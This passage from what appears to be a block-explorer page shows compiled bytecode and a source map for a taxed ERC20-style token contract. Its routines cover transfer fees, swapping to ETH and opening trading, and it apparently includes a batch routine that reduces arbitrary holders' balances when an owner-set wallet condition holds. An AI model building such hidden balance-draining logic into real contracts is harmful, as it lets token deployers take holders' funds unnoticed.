d14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a9f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610381565b6001600160a01b038216610b015760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610381565b60008111610b635760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610381565b600080546001600160a01b03858116911614801590610b9057506000546001600160a01b03848116911614155b8015610ba557506001600160a01b0384163014155b8015610bba57506001600160a01b0383163014155b15610d4c57610bdf6064610bd9600e5485610f2990919063ffffffff16565b90610fb2565b6009549091506001600160a01b038581169116148015610c0d57506008546001600160a01b03848116911614155b8015610c3257506001600160a01b03831660009081526003602052604090205460ff16155b15610c7557610c5d6064610bd9600c54600f5411610c5257600a54610c56565b600b545b8590610f29565b600f80549192506000610c6f8361183b565b91905055505b6009546001600160a01b038481169116148015610c9b57506001600160a01b0384163014155b15610cc657610cbb6064610bd9600c54600f5411610c5257600a54610c56565b9050610cc647610ff4565b30600090815260016020526040902054600954600160a81b900460ff16158015610cfd57506009546001600160a01b038581169116145b8015610d0c5750600d54600f54115b15610d4a57600554811115610d3857610d38610d3384610d2e84600654611032565b611032565b611047565b478015610d4857610d4847610ff4565b505b505b8015610dc65730600090815260016020526040902054610d6c90826111c1565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dbd9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610de99083611220565b6001600160a01b038516600090815260016020526040902055610e2e610e0f8383611220565b6001600160a01b038516600090815260016020526040902054906111c1565b6001600160a01b038085166000818152600160205260409020929092556007541614610911576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e8d8585611220565b60405190815260200160405180910390a350505050565b60008184841115610ec85760405162461bcd60e51b8152600401610381919061134c565b506000610ed58486611854565b95945050505050565b60095460408051808201909152600e81526d17dd9b5d9959594819985a5b195960921b60208201523391610f24918591849186916001600160a01b031683141590611262565b505050565b600082600003610f3b57506000610330565b6000610f47838561174f565b905082610f5485836117b8565b14610fab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610381565b9392505050565b6000610fab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131e565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561102e573d6000803e3d6000fd5b5050565b60008183116110415782610fab565b50919050565b6009805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108f5761108f611825565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061179b565b8160018151811061111f5761111f611825565b6001600160a01b0392831660209182029290920101526008546111459130911684610917565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117e908590600090869030904290600401611867565b600060405180830381600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806111ce83856118d9565b905083811015610fab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610381565b6000610fab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea4565b81801561129457506009546001600160a01b03868116911614158061129457506004546001600160a01b038581169116145b81906112b35760405162461bcd60e51b8152600401610381919061134c565b506001600160a01b0385166000908152600160205260409020546112d8908490611854565b6001600160a01b03861660009081526001602052604081208054909190611300908490611854565b9091555050506001600160a01b039092166000525050600160205250565b6000818361133f5760405162461bcd60e51b8152600401610381919061134c565b506000610ed584866117b8565b602081526000825180602084015260005b8181101561137a576020818601810151604086840101520161135d565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103b657600080fd5b600080604083850312156113c257600080fd5b82356113cd8161139a565b946020939093013593505050565b6000806000606084860312156113f057600080fd5b83356113fb8161139a565b9250602084013561140b8161139a565b929592945050506040919091013590565b60006020828403121561142e57600080fd5b8135610fab8161139a565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561147857611478611439565b604052919050565b600067ffffffffffffffff82111561149a5761149a611439565b5060051b60200190565b600082601f8301126114b557600080fd5b81356114c86114c382611480565b61144f565b8082825260208201915060208360051b8601019250858311156114ea57600080fd5b602085015b838110156115075780358352602092830192016114ef565b5095945050505050565b80151581146103b657600080fd5b803561152a81611511565b919050565b60008060006060848603121561154457600080fd5b833567ffffffffffffffff81111561155b57600080fd5b8401601f8101861361156c57600080fd5b803561157a6114c382611480565b8082825260208201915060208360051b85010192508883111561159c57600080fd5b6020840193505b828410156115c75783356115b68161139a565b8252602093840193909101906115a3565b9550505050602084013567ffffffffffffffff8111156115e657600080fd5b6115f2868287016114a4565b9250506116016040850161151f565b90509250925092565b6000806040838503121561161d57600080fd5b82356116288161139a565b915060208301356116388161139a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116945780850481111561167857611678611643565b600184161561168657908102905b60019390931c92800261165d565b935093915050565b6000826116ab57506001610330565b816116b857506000610330565b81600181146116ce57600281146116d8576116f4565b6001915050610330565b60ff8411156116e9576116e9611643565b50506001821b610330565b5060208310610133831016604e8410600b8410161715611717575081810a610330565b6117246000198484611659565b806000190482111561173857611738611643565b029392505050565b6000610fab60ff84168361169c565b808202811582820484141761033057610330611643565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117ad57600080fd5b8151610fab8161139a565b6000826117d557634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156117ef57600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561181a57600080fd5b8151610fab81611511565b634e487b7160e01b600052603260045260246000fd5b60006001820161184d5761184d611643565b5060010190565b8181038181111561033057610330611643565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118b95783516001600160a01b0316835260209384019390920191600101611892565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103305761033061164356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d65b6362d83d6f67593ce855e1a40304bf856b55a7bdff70ac73ed08f4ccf11564736f6c634300081a0033

Deployed Bytecode Sourcemap

3910:8312:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5271:83;;;;;;;;;;-1:-1:-1;5341:5:0;;;;;;;;;;;-1:-1:-1;;;5341:5:0;;;;5271:83;;;;5341:5;5271:83;:::i;:::-;;;;;;;;6154:186;;;;;;;;;;-1:-1:-1;6154:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6154:186:0;1054:187:1;4451:42:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;4451:42:0;1246:177:1;5548:95:0;;;;;;;;;;;;;:::i;8755:110::-;;;;;;;;;;;;;:::i;:::-;;7035:393;;;;;;;;;;-1:-1:-1;7035:393:0;;;;;:::i;:::-;;:::i;5457:83::-;;;;;;;;;;-1:-1:-1;5457:83:0;;4737:1;2083:36:1;;2071:2;2056:18;5457:83:0;1941:184:1;5651:119:0;;;;;;;;;;-1:-1:-1;5651:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5744:18:0;5717:7;5744:18;;;:9;:18;;;;;;;5651:119;2721:148;;;;;;;;;;;;;:::i;2877:79::-;;;;;;;;;;-1:-1:-1;2915:7:0;2942:6;2877:79;;-1:-1:-1;;;;;2942:6:0;;;2528:51:1;;2516:2;2501:18;2877:79:0;2382:203:1;5778:192:0;;;;;;;;;;-1:-1:-1;5778:192:0;;;;;:::i;:::-;;:::i;4396:48::-;;;;;;;;;;;;;;;;7928:815;;;;;;;;;;;;;:::i;9353:283::-;;;;;;;;;;-1:-1:-1;9353:283:0;;;;;:::i;:::-;;:::i;5978:168::-;;;;;;;;;;-1:-1:-1;5978:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6111:18:0;;;6084:7;6111:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5978:168;6154:186;6254:4;6271:39;336:10;6294:7;6303:6;6271:8;:39::i;:::-;-1:-1:-1;6328:4:0;6154:186;;;;;:::o;5548:95::-;5601:7;4268:15;4737:1;4268:2;:15;:::i;:::-;4252:31;;:13;:31;:::i;:::-;5621:14;;5548:95;:::o;8755:110::-;3004:6;;-1:-1:-1;;;;;3004:6:0;336:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;;;;;;;;;8806:51:::1;::::0;8814:10:::1;::::0;8835:21:::1;8806:51:::0;::::1;;;::::0;::::1;::::0;;;8835:21;8814:10;8806:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8755:110::o:0;7035:393::-;7167:4;7184:36;7194:6;7202:9;7213:6;7184:9;:36::i;:::-;7231:167;7254:6;7275:10;7300:87;7336:6;7300:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7300:19:0;;;;;;:11;:19;;;;;;;;7320:10;7300:31;;;;;;;;;:87;:35;:87::i;:::-;7231:8;:167::i;:::-;-1:-1:-1;7416:4:0;7035:393;;;;;:::o;2721:148::-;3004:6;;-1:-1:-1;;;;;3004:6:0;336:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;2828:1:::1;2812:6:::0;;2791:40:::1;::::0;-1:-1:-1;;;;;2812:6:0;;::::1;::::0;2791:40:::1;::::0;2828:1;;2791:40:::1;2859:1;2842:19:::0;;-1:-1:-1;;;;;;2842:19:0::1;::::0;;2721:148::o;5778:192::-;5881:4;5898:42;336:10;5922:9;5933:6;5898:9;:42::i;7928:815::-;3004:6;;-1:-1:-1;;;;;3004:6:0;336:10;3004:22;2996:67;;;;-1:-1:-1;;;2996:67:0;;;;;;;:::i;:::-;7990:11:::1;::::0;-1:-1:-1;;;7990:11:0;::::1;;;7989:12;7981:48;;;::::0;-1:-1:-1;;;7981:48:0;;8155:2:1;7981:48:0::1;::::0;::::1;8137:21:1::0;8194:2;8174:18;;;8167:30;8233:25;8213:18;;;8206:53;8276:18;;7981:48:0::1;7953:347:1::0;7981:48:0::1;8040:15;:104:::0;;-1:-1:-1;;;;;;8040:104:0::1;8091:42;8040:104:::0;;::::1;::::0;;;8156:58:::1;::::0;8173:4:::1;::::0;4268:15:::1;4737:1;4268:2;:15;:::i;:::-;4252:31;::::0;:13:::1;:31;:::i;8156:58::-;8260:15;;;;;;;;;-1:-1:-1::0;;;;;8260:15:0::1;-1:-1:-1::0;;;;;8260:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8242:55:0::1;;8320:4;8340:15;;;;;;;;;-1:-1:-1::0;;;;;8340:15:0::1;-1:-1:-1::0;;;;;8340:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8242:131;::::0;-1:-1:-1;;;;;;8242:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8753:32:1;;;8242:131:0::1;::::0;::::1;8735:51:1::0;8822:32;;8802:18;;;8795:60;8708:18;;8242:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8226:13;:147:::0;;-1:-1:-1;;;;;8226:147:0;;::::1;-1:-1:-1::0;;;;;;8226:147:0;;::::1;;::::0;;8386:15:::1;::::0;::::1;:31;8425:21;8470:4;8523;8490:24;8470:4:::0;-1:-1:-1;;;;;5744:18:0;5717:7;5744:18;;;:9;:18;;;;;;;5651:119;8490:24:::1;:30;::::0;8517:3:::1;8490:30;:::i;:::-;:37;;;;:::i;:::-;8542:1;8558::::0;8574:7:::1;2915::::0;2942:6;-1:-1:-1;;;;;2942:6:0;;2877:79;8574:7:::1;8386:236;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8386:236:0;;;-1:-1:-1;;;;;9409:32:1;;;8386:236:0::1;::::0;::::1;9391:51:1::0;9458:18;;;9451:34;;;;9501:18;;;9494:34;;;;9544:18;;;9537:34;9608:32;;;9587:19;;;9580:61;8596:15:0::1;9657:19:1::0;;;9650:35;9363:19;;8386:236:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8640:13:0::1;::::0;8671:15:::1;::::0;8633:71:::1;::::0;-1:-1:-1;;;8633:71:0;;-1:-1:-1;;;;;8671:15:0;;::::1;8633:71;::::0;::::1;10331:51:1::0;-1:-1:-1;;10398:18:1;;;10391:34;8640:13:0;::::1;::::0;-1:-1:-1;8633:29:0::1;::::0;10304:18:1;;8633:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8717:11:0::1;:18:::0;;-1:-1:-1;;;;8717:18:0::1;-1:-1:-1::0;;;8717:18:0::1;::::0;;7928:815::o;9353:283::-;9470:11;9462:49;;;;-1:-1:-1;;;9462:49:0;;10888:2:1;9462:49:0;;;10870:21:1;10927:2;10907:18;;;10900:30;10966:27;10946:18;;;10939:55;11011:18;;9462:49:0;10686:349:1;9462:49:0;9527:9;9522:107;9546:9;:16;9542:1;:20;9522:107;;;9584:33;9592:9;9602:1;9592:12;;;;;;;;:::i;:::-;;;;;;;9606:7;9614:1;9606:10;;;;;;;;:::i;:::-;;;;;;;9584:7;:33::i;:::-;9564:3;;9522:107;;;;9353:283;;;:::o;6348:335::-;-1:-1:-1;;;;;6441:19:0;;6433:68;;;;-1:-1:-1;;;6433:68:0;;11374:2:1;6433:68:0;;;11356:21:1;11413:2;11393:18;;;11386:30;11452:34;11432:18;;;11425:62;-1:-1:-1;;;11503:18:1;;;11496:34;11547:19;;6433:68:0;11172:400:1;6433:68:0;-1:-1:-1;;;;;6520:21:0;;6512:68;;;;-1:-1:-1;;;6512:68:0;;11779:2:1;6512:68:0;;;11761:21:1;11818:2;11798:18;;;11791:30;11857:34;11837:18;;;11830:62;-1:-1:-1;;;11908:18:1;;;11901:32;11950:19;;6512:68:0;11577:398:1;6512:68:0;-1:-1:-1;;;;;6591:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6643:32;;1392:25:1;;;6643:32:0;;1365:18:1;6643:32:0;;;;;;;6348:335;;;:::o;9644:2534::-;-1:-1:-1;;;;;9740:20:0;;9732:70;;;;-1:-1:-1;;;9732:70:0;;12182:2:1;9732:70:0;;;12164:21:1;12221:2;12201:18;;;12194:30;12260:34;12240:18;;;12233:62;-1:-1:-1;;;12311:18:1;;;12304:35;12356:19;;9732:70:0;11980:401:1;9732:70:0;-1:-1:-1;;;;;9821:22:0;;9813:70;;;;-1:-1:-1;;;9813:70:0;;12588:2:1;9813:70:0;;;12570:21:1;12627:2;12607:18;;;12600:30;12666:34;12646:18;;;12639:62;-1:-1:-1;;;12717:18:1;;;12710:33;12760:19;;9813:70:0;12386:399:1;9813:70:0;9911:1;9902:6;:10;9894:64;;;;-1:-1:-1;;;9894:64:0;;12992:2:1;9894:64:0;;;12974:21:1;13031:2;13011:18;;;13004:30;13070:34;13050:18;;;13043:62;-1:-1:-1;;;13121:18:1;;;13114:39;13170:19;;9894:64:0;12790:405:1;9894:64:0;9969:17;2942:6;;-1:-1:-1;;;;;10019:17:0;;;2942:6;;10019:17;;;;:53;;-1:-1:-1;2915:7:0;2942:6;-1:-1:-1;;;;;10053:19:0;;;2942:6;;10053:19;;10019:53;:93;;;;-1:-1:-1;;;;;;10089:23:0;;10107:4;10089:23;;10019:93;:135;;;;-1:-1:-1;;;;;;10129:25:0;;10149:4;10129:25;;10019:135;10001:1757;;;10193:33;10222:3;10193:24;10204:12;;10193:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;10275:13;;10181:45;;-1:-1:-1;;;;;;10265:23:0;;;10275:13;;10265:23;:80;;;;-1:-1:-1;10329:15:0;;-1:-1:-1;;;;;10309:36:0;;;10329:15;;10309:36;;10265:80;:130;;;;-1:-1:-1;;;;;;10367:28:0;;;;;;:18;:28;;;;;;;;10366:29;10265:130;10243:475;;;10442:230;10668:3;10442:199;10514:10;;10502:9;;:22;10501:117;;10604:14;;10501:117;;;10557:15;;10501:117;10442:6;;:32;:199::i;:230::-;10691:9;:11;;10430:242;;-1:-1:-1;10691:9:0;:11;;;:::i;:::-;;;;;;10243:475;10750:13;;-1:-1:-1;;;;;10738:25:0;;;10750:13;;10738:25;:52;;;;-1:-1:-1;;;;;;10767:23:0;;10785:4;10767:23;;10738:52;10734:372;;;10823:230;11049:3;10823:199;10895:10;;10883:9;;:22;10882:117;;10985:14;;10882:117;;10823:230;10811:242;;11055:35;11068:21;11055:12;:35::i;:::-;11171:4;11122:28;5744:18;;;:9;:18;;;;;;11215:6;;-1:-1:-1;;;11215:6:0;;;;11214:7;:53;;;;-1:-1:-1;11254:13:0;;-1:-1:-1;;;;;11242:25:0;;;11254:13;;11242:25;11214:53;:104;;;;;11300:18;;11288:9;;:30;11214:104;11192:555;;;11380:17;;11357:20;:40;11353:185;;;11420:118;11464:51;11468:6;11476:38;11480:20;11502:11;;11476:3;:38::i;:::-;11464:3;:51::i;:::-;11420:17;:118::i;:::-;11586:21;11630:22;;11626:106;;11677:35;11690:21;11677:12;:35::i;:::-;11334:413;11192:555;10166:1592;10001:1757;11774:13;;11770:174;;11849:4;11831:24;;;;:9;:24;;;;;;:39;;11860:9;11831:28;:39::i;:::-;11822:4;11804:24;;;;:9;:24;;;;;;;:66;;;;11890:42;;-1:-1:-1;;;;;11890:42:0;;;;;;;11922:9;1392:25:1;;1380:2;1365:18;;1246:177;11890:42:0;;;;;;;;11770:174;-1:-1:-1;;;;;11974:17:0;;;;;;:9;:17;;;;;;:29;;11996:6;11974:21;:29::i;:::-;-1:-1:-1;;;;;11954:17:0;;;;;;:9;:17;;;;;:49;12036:46;12060:21;:6;12071:9;12060:10;:21::i;:::-;-1:-1:-1;;;;;12036:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;12014:19:0;;;;;;;:9;:19;;;;;:68;;;;12109:5;;;12097:17;12093:77;;-1:-1:-1;;;;;12121:49:0;;;;;;;12148:21;:6;12159:9;12148:10;:21::i;:::-;12121:49;;1392:25:1;;;1380:2;1365:18;12121:49:0;;;;;;;9721:2457;9644:2534;;;:::o;1523:224::-;1643:7;1679:12;1671:6;;;;1663:29;;;;-1:-1:-1;;;1663:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1703:9:0;1715:5;1719:1;1715;:5;:::i;:::-;1703:17;1523:224;-1:-1:-1;;;;;1523:224:0:o;9152:193::-;9305:13;;9261:76;;;;;;;;;;;;-1:-1:-1;;;9261:76:0;;;;9240:10;;9261:76;;9269:8;;9240:10;;9287:6;;-1:-1:-1;;;;;9305:13:0;9295:23;;;;9261:7;:76::i;:::-;9212:133;9152:193;;:::o;1755:246::-;1813:7;1837:1;1842;1837:6;1833:47;;-1:-1:-1;1867:1:0;1860:8;;1833:47;1890:9;1902:5;1906:1;1902;:5;:::i;:::-;1890:17;-1:-1:-1;1935:1:0;1926:5;1930:1;1890:17;1926:5;:::i;:::-;:10;1918:56;;;;-1:-1:-1;;;1918:56:0;;13675:2:1;1918:56:0;;;13657:21:1;13714:2;13694:18;;;13687:30;13753:34;13733:18;;;13726:62;-1:-1:-1;;;13804:18:1;;;13797:31;13845:19;;1918:56:0;13473:397:1;1918:56:0;1992:1;1755:246;-1:-1:-1;;;1755:246:0:o;2009:132::-;2067:7;2094:39;2098:1;2101;2094:39;;;;;;;;;;;;;;;;;:3;:39::i;6691:92::-;6748:10;;:27;;-1:-1:-1;;;;;6748:10:0;;;;:27;;;;;6768:6;;6748:10;:27;:10;:27;6768:6;6748:10;:27;;;;;;;;;;;;;;;;;;;;;6691:92;:::o;5156:107::-;5213:7;5245:1;5241;:5;5240:15;;5254:1;5240:15;;;-1:-1:-1;5250:1:0;5156:107;-1:-1:-1;5156:107:0:o;7436:484::-;4785:6;:13;;-1:-1:-1;;;;4785:13:0;-1:-1:-1;;;4785:13:0;;;7539:16:::1;::::0;;7553:1:::1;7539:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7539:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7539:16:0::1;7515:40;;7584:4;7566;7571:1;7566:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7566:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7610:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7610:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7566:7;;7610:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7600:4;7605:1;7600:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7600:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7675:15:::1;::::0;7643:62:::1;::::0;7660:4:::1;::::0;7675:15:::1;7693:11:::0;7643:8:::1;:62::i;:::-;7716:15;::::0;:196:::1;::::0;-1:-1:-1;;;7716:196:0;;-1:-1:-1;;;;;7716:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7797:11;;7716:15:::1;::::0;7839:4;;7866::::1;::::0;7886:15:::1;::::0;7716:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4821:6:0;:14;;-1:-1:-1;;;;4821:14:0;;;-1:-1:-1;;;;7436:484:0:o;1192:179::-;1250:7;;1282:5;1286:1;1282;:5;:::i;:::-;1270:17;;1311:1;1306;:6;;1298:46;;;;-1:-1:-1;;;1298:46:0;;15171:2:1;1298:46:0;;;15153:21:1;15210:2;15190:18;;;15183:30;15249:29;15229:18;;;15222:57;15296:18;;1298:46:0;14969:351:1;1379:136:0;1437:7;1464:43;1468:1;1471;1464:43;;;;;;;;;;;;;;;;;:3;:43::i;8873:271::-;8987:2;:49;;;;-1:-1:-1;9002:13:0;;-1:-1:-1;;;;;8994:21:0;;;9002:13;;8994:21;;;:41;;-1:-1:-1;9025:10:0;;-1:-1:-1;;;;;9019:16:0;;;9025:10;;9019:16;8994:41;9038:3;8979:63;;;;;-1:-1:-1;;;8979:63:0;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;9072:15:0;;;;;;:9;:15;;;;;;:24;;9090:6;;9072:24;:::i;:::-;-1:-1:-1;;;;;9053:15:0;;;;;;:9;:15;;;;;:43;;:15;;;:43;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;;9123:13:0;;;;;-1:-1:-1;;9123:9:0;:13;;-1:-1:-1;8873:271:0:o;2149:223::-;2269:7;2304:12;2297:5;2289:28;;;;-1:-1:-1;;;2289:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2328:9:0;2340:5;2344:1;2340;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2130:247::-;2189:6;2242:2;2230:9;2221:7;2217:23;2213:32;2210:52;;;2258:1;2255;2248:12;2210:52;2297:9;2284:23;2316:31;2341:5;2316:31;:::i;2590:127::-;2651:10;2646:3;2642:20;2639:1;2632:31;2682:4;2679:1;2672:15;2706:4;2703:1;2696:15;2722:275;2793:2;2787:9;2858:2;2839:13;;-1:-1:-1;;2835:27:1;2823:40;;2893:18;2878:34;;2914:22;;;2875:62;2872:88;;;2940:18;;:::i;:::-;2976:2;2969:22;2722:275;;-1:-1:-1;2722:275:1:o;3002:183::-;3062:4;3095:18;3087:6;3084:30;3081:56;;;3117:18;;:::i;:::-;-1:-1:-1;3162:1:1;3158:14;3174:4;3154:25;;3002:183::o;3190:723::-;3244:5;3297:3;3290:4;3282:6;3278:17;3274:27;3264:55;;3315:1;3312;3305:12;3264:55;3355:6;3342:20;3382:64;3398:47;3438:6;3398:47;:::i;:::-;3382:64;:::i;:::-;3470:3;3494:6;3489:3;3482:19;3526:4;3521:3;3517:14;3510:21;;3587:4;3577:6;3574:1;3570:14;3562:6;3558:27;3554:38;3540:52;;3615:3;3607:6;3604:15;3601:35;;;3632:1;3629;3622:12;3601:35;3668:4;3660:6;3656:17;3682:200;3698:6;3693:3;3690:15;3682:200;;;3790:17;;3820:18;;3867:4;3858:14;;;;3715;3682:200;;;-1:-1:-1;3900:7:1;3190:723;-1:-1:-1;;;;;3190:723:1:o;3918:118::-;4004:5;3997:13;3990:21;3983:5;3980:32;3970:60;;4026:1;4023;4016:12;4041:128;4106:20;;4135:28;4106:20;4135:28;:::i;:::-;4041:128;;;:::o;4174:1283::-;4298:6;4306;4314;4367:2;4355:9;4346:7;4342:23;4338:32;4335:52;;;4383:1;4380;4373:12;4335:52;4423:9;4410:23;4456:18;4448:6;4445:30;4442:50;;;4488:1;4485;4478:12;4442:50;4511:22;;4564:4;4556:13;;4552:27;-1:-1:-1;4542:55:1;;4593:1;4590;4583:12;4542:55;4633:2;4620:16;4656:64;4672:47;4712:6;4672:47;:::i;4656:64::-;4742:3;4766:6;4761:3;4754:19;4798:4;4793:3;4789:14;4782:21;;4855:4;4845:6;4842:1;4838:14;4834:2;4830:23;4826:34;4812:48;;4883:7;4875:6;4872:19;4869:39;;;4904:1;4901;4894:12;4869:39;4936:4;4932:2;4928:13;4917:24;;4950:221;4966:6;4961:3;4958:15;4950:221;;;5048:3;5035:17;5065:31;5090:5;5065:31;:::i;:::-;5109:18;;5156:4;4983:14;;;;5147;;;;4950:221;;;5190:5;-1:-1:-1;;;;5248:4:1;5233:20;;5220:34;5279:18;5266:32;;5263:52;;;5311:1;5308;5301:12;5263:52;5334:63;5389:7;5378:8;5367:9;5363:24;5334:63;:::i;:::-;5324:73;;;5416:35;5447:2;5436:9;5432:18;5416:35;:::i;:::-;5406:45;;4174:1283;;;;;:::o;5462:388::-;5530:6;5538;5591:2;5579:9;5570:7;5566:23;5562:32;5559:52;;;5607:1;5604;5597:12;5559:52;5646:9;5633:23;5665:31;5690:5;5665:31;:::i;:::-;5715:5;-1:-1:-1;5772:2:1;5757:18;;5744:32;5785:33;5744:32;5785:33;:::i;:::-;5837:7;5827:17;;;5462:388;;;;;:::o;5855:127::-;5916:10;5911:3;5907:20;5904:1;5897:31;5947:4;5944:1;5937:15;5971:4;5968:1;5961:15;5987:375;6075:1;6093:5;6107:249;6128:1;6118:8;6115:15;6107:249;;;6178:4;6173:3;6169:14;6163:4;6160:24;6157:50;;;6187:18;;:::i;:::-;6237:1;6227:8;6223:16;6220:49;;;6251:16;;;;6220:49;6334:1;6330:16;;;;;6290:15;;6107:249;;;5987:375;;;;;;:::o;6367:902::-;6416:5;6446:8;6436:80;;-1:-1:-1;6487:1:1;6501:5;;6436:80;6535:4;6525:76;;-1:-1:-1;6572:1:1;6586:5;;6525:76;6617:4;6635:1;6630:59;;;;6703:1;6698:174;;;;6610:262;;6630:59;6660:1;6651:10;;6674:5;;;6698:174;6735:3;6725:8;6722:17;6719:43;;;6742:18;;:::i;:::-;-1:-1:-1;;6798:1:1;6784:16;;6857:5;;6610:262;;6956:2;6946:8;6943:16;6937:3;6931:4;6928:13;6924:36;6918:2;6908:8;6905:16;6900:2;6894:4;6891:12;6887:35;6884:77;6881:203;;;-1:-1:-1;6993:19:1;;;7069:5;;6881:203;7116:42;-1:-1:-1;;7141:8:1;7135:4;7116:42;:::i;:::-;7194:6;7190:1;7186:6;7182:19;7173:7;7170:32;7167:58;;;7205:18;;:::i;:::-;7243:20;;6367:902;-1:-1:-1;;;6367:902:1:o;7274:140::-;7332:5;7361:47;7402:4;7392:8;7388:19;7382:4;7361:47;:::i;7419:168